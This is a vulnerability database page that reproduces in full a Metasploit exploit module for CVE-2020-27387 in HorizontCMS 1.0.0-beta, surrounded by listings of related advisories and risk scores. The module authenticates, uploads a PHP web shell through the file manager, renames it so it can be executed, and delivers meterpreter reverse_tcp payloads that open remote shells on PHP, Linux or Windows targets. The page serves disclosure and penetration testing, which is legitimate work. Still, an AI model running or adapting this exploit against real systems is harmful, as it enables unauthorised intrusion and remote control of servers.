Lucene search
K

HorizontCMS 1.0.0-beta Shell Upload Exploit

🗓️ 14 Nov 2020 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 47 Views

HorizontCMS 1.0.0-beta arbitrary file upload vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2020-27387
5 Nov 202007:48
circl
CNVD
HorizontCMS Code Injection Vulnerability
16 Nov 202000:00
cnvd
CVE
CVE-2020-27387
5 Nov 202001:18
cve
Cvelist
CVE-2020-27387
5 Nov 202001:18
cvelist
Metasploit
HorizontCMS Arbitrary PHP File Upload
13 Nov 202017:41
metasploit
NVD
CVE-2020-27387
5 Nov 202002:15
nvd
Packet Storm
HorizontCMS 1.0.0-beta Shell Upload
13 Nov 202000:00
packetstorm
Prion
Unrestricted file upload
5 Nov 202002:15
prion
Prion
Unrestricted file upload
5 Apr 202216:15
prion
Positive Technologies
PT-2020-16680 · Horizontcms · Horizontcms
5 Nov 202000:00
ptsecurity
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'HorizontCMS Arbitrary PHP File Upload',
        'Description' => %q{
          This module exploits an arbitrary file upload vulnerability in
          HorizontCMS 1.0.0-beta in order to execute arbitrary commands.

          The module first attempts to authenticate to HorizontCMS. It then tries
          to upload a malicious PHP file via an HTTP POST request to
          `/admin/file-manager/fileupload`. The server will rename this file to a
          random string. The module will therefore attempt to change the filename
          back to the original name via an HTTP POST request to
          `/admin/file-manager/rename`. For the `php` target, the payload is
          embedded in the uploaded file and the module attempts to execute the
          payload via an HTTP GET request to `/storage/file_name`. For the `linux`
          and `windows` targets, the module uploads a simple PHP web shell
          similar to `<?php system($_GET["cmd"]); ?>`. Subsequently, it leverages
          the CmdStager mixin to deliver the final payload via a series of HTTP
          GET requests to the PHP web shell.

          Valid credentials for a HorizontCMS user with permissions to use the
          FileManager are required. This would be all users in the Admin, Manager
          and Editor groups if HorizontCMS is configured with the default group
          settings.This module has been successfully tested against HorizontCMS
          1.0.0-beta running on Ubuntu 18.04.
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'Erik Wynter' # @wyntererik - Discovery and Metasploit
          ],
        'References' =>
          [
            ['CVE', '2020-27387']
          ],
        'Payload' =>
          {
            'BadChars' => "\x00\x0d\x0a"
          },
        'Platform' => %w[linux win php],
        'Arch' => [ ARCH_X86, ARCH_X64, ARCH_PHP],
        'Targets' =>
          [
            [
              'PHP', {
                'Arch' => [ARCH_PHP],
                'Platform' => 'php',
                'DefaultOptions' => {
                  'PAYLOAD' => 'php/meterpreter/reverse_tcp'
                }
              }
            ],
            [
              'Linux', {
                'Arch' => [ARCH_X86, ARCH_X64],
                'Platform' => 'linux',
                'DefaultOptions' => {
                  'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
                }
              }
            ],
            [
              'Windows', {
                'Arch' => [ARCH_X86, ARCH_X64],
                'Platform' => 'win',
                'DefaultOptions' => {
                  'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
                }
              }
            ]
          ],
        'Privileged' => false,
        'DisclosureDate' => '2020-09-24',
        'DefaultTarget' => 0
      )
    )

    register_options [
      OptString.new('TARGETURI', [true, 'The base path to HorizontCMS', '/']),
      OptString.new('USERNAME', [true, 'Username to authenticate with', '']),
      OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])
    ]
  end

  def check
    vprint_status('Running check')

    # visit /admin/login to obtain HorizontCMS version plus cookies and csrf token
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'admin', 'login'),
      'keep_cookies' => true
    })

    unless res
      return CheckCode::Unknown('Connection failed.')
    end

    unless res.code == 200 && res.body.include?('HorizontCMS')
      return CheckCode::Safe('Target is not a HorizontCMS application.')
    end

    # obtain csrf token
    html = res.get_html_document
    @csrf_token = html.at('meta[@name="csrf-token"]')['content']

    # obtain version
    /Version: (?<version>.*?)\n/ =~ res.body

    unless version
      return CheckCode::Detected('Could not determine HorizontCMS version.')
    end

    # vulnerable versions all start with 1.0.0 followed by `-beta`, `-alpha` or `-alpha.<number>`
    version_no, version_status = version.split('-')

    unless version_no == '1.0.0' && version_status && (version_status.include?('alpha') || version_status.include?('beta'))
      return CheckCode::Safe("Target is HorizontCMS with version #{version}")
    end

    return CheckCode::Appears("Target is HorizontCMS with version #{version}")
  end

  def login
    # check if @csrf_token is not blank, as this is required for authentication
    if @csrf_token.blank?
      fail_with(Failure::Unknown, 'Failed to obtain the csrf token required for authentication.')
    end

    # try to authenticate
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin', 'login'),
      'keep_cookies' => true,
      'ctype' => 'application/x-www-form-urlencoded',
      'vars_post' => {
        '_token' => @csrf_token,
        'username' => datastore['USERNAME'],
        'password' => datastore['PASSWORD'],
        'submit_login' => 'login'
      }
    })

    unless res
      fail_with(Failure::Unreachable, 'Connection failed while trying to authenticate.')
    end

    unless res.code == 302 && res.body.include?('Redirecting to')
      fail_with(Failure::UnexpectedReply, 'Unexpected response received while trying to authenticate.')
    end

    # keep only the newly added cookies, otherwise subsequent requests will fail
    auth_cookies = cookie_jar.to_a[2..3]
    self.cookie_jar = auth_cookies.to_set

    # using send_request_cgi! does not work so we have to follow the redirect manually
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'admin', 'dashboard')
    })

    unless res
      fail_with(Failure::Unreachable, 'Connection failed while trying to authenticate.')
    end

    unless res.code == 200 && res.body.include?('Dashboard - HorizontCMS')
      fail_with(Failure::UnexpectedReply, 'Unexpected response received while trying to authenticate.')
    end

    print_good('Successfully authenticated to the HorizontCMS dashboard')

    # get new csrf token
    html = res.get_html_document
    @csrf_token = html.at('meta[@name="csrf-token"]')['content']
    if @csrf_token.blank?
      fail_with(Failure::Unknown, 'Failed to obtain the csrf token required for uploading the payload.')
    end
  end

  def upload_and_rename_payload
    # set payload according to target platform
    if target['Platform'] == 'php'
      pl = payload.encoded
    else
      @shell_cmd_name = rand_text_alphanumeric(3..6)
      pl = "system($_GET[\"#{@shell_cmd_name}\"]);"
    end

    @payload_name = rand_text_alphanumeric(8..12) << '.php'
    print_status("Uploading payload as #{@payload_name}...")

    # generate post data
    post_data = Rex::MIME::Message.new
    post_data.add_part(@csrf_token, nil, nil, 'form-data; name="_token"')
    post_data.add_part('', nil, nil, 'form-data; name="dir_path"')
    post_data.add_part("<?php #{pl} ?>", 'application/x-php', nil, "form-data; name=\"up_file[]\"; filename=\"#{@payload_name}\"")

    # upload payload
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin', 'file-manager', 'fileupload'),
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'headers' => { 'X-Requested-With' => 'XMLHttpRequest' },
      'data' => post_data.to_s
    })

    unless res
      fail_with(Failure::Disconnected, 'Connection failed while trying to upload the payload.')
    end

    unless res.code == 200 && res.body.include?('Files uploaded successfully!')
      fail_with(Failure::Unknown, 'Failed to upload the payload.')
    end

    @payload_on_target = res.body.scan(/uploadedFileNames":\["(.*?)"/).flatten.first
    if @payload_on_target.blank?
      fail_with(Failure::Unknown, 'Failed to obtain the new filename of the payload on the server.')
    end

    print_good("Successfully uploaded #{@payload_name}. The server renamed it to #{@payload_on_target}")

    # rename payload
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin', 'file-manager', 'rename'),
      'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
      'headers' => { 'X-Requested-With' => 'XMLHttpRequest' },
      'vars_post' => {
        '_token' => @csrf_token,
        'old_file' => "/#{@payload_on_target}",
        'new_file' => "/#{@payload_name}"
      }
    })

    unless res
      fail_with(Failure::Disconnected, "Connection failed while trying to rename the payload back to #{@payload_name}.")
    end

    unless res.code == 200 && res.body.include?('File successfully renamed!')
      fail_with(Failure::Unknown, "Failed to rename the payload back to #{@payload_name}.")
    end

    print_good("Successfully renamed payload back to #{@payload_name}")
  end

  def execute_command(cmd, _opts = {})
    send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'storage', @payload_name),
      'vars_get' => { @shell_cmd_name => cmd }
    }, 0) # don't wait for a response from the target, otherwise the module will hang for a few seconds after executing the payload
  end

  def cleanup
    # delete payload
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'admin', 'file-manager', 'delete'),
      'headers' => { 'X-Requested-With' => 'XMLHttpRequest' },
      'vars_get' => {
        '_token' => @csrf_token,
        'file' => "/#{@payload_name}"
      }
    })

    unless res && res.code == 200 && res.body.include?('File deleted successfully')
      print_error('Failed to delete the payload.')
      print_warning("Manual cleanup of #{@payload_name} is required.")
      return
    end

    print_good("Successfully deleted #{@payload_name}")
  end

  def exploit
    login
    upload_and_rename_payload

    # For `php` targets, the payload can be executed via a simlpe GET request. For other targets, a cmdstager is necessary.
    if target['Platform'] == 'php'
      print_status('Executing the payload...')
      send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, 'storage', @payload_name)
      }, 0) # don't wait for a response from the target, otherwise the module will hang for a few seconds after executing the payload
    else
      print_status("Executing the payload via a series of HTTP GET requests to `/storage/#{@payload_name}?#{@shell_cmd_name}=<command>`")
      execute_cmdstager(background: true)
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Nov 2020 00:00Current
8High risk
Vulners AI Score8
CVSS 26.5
CVSS 3.18.8
EPSS0.70322
47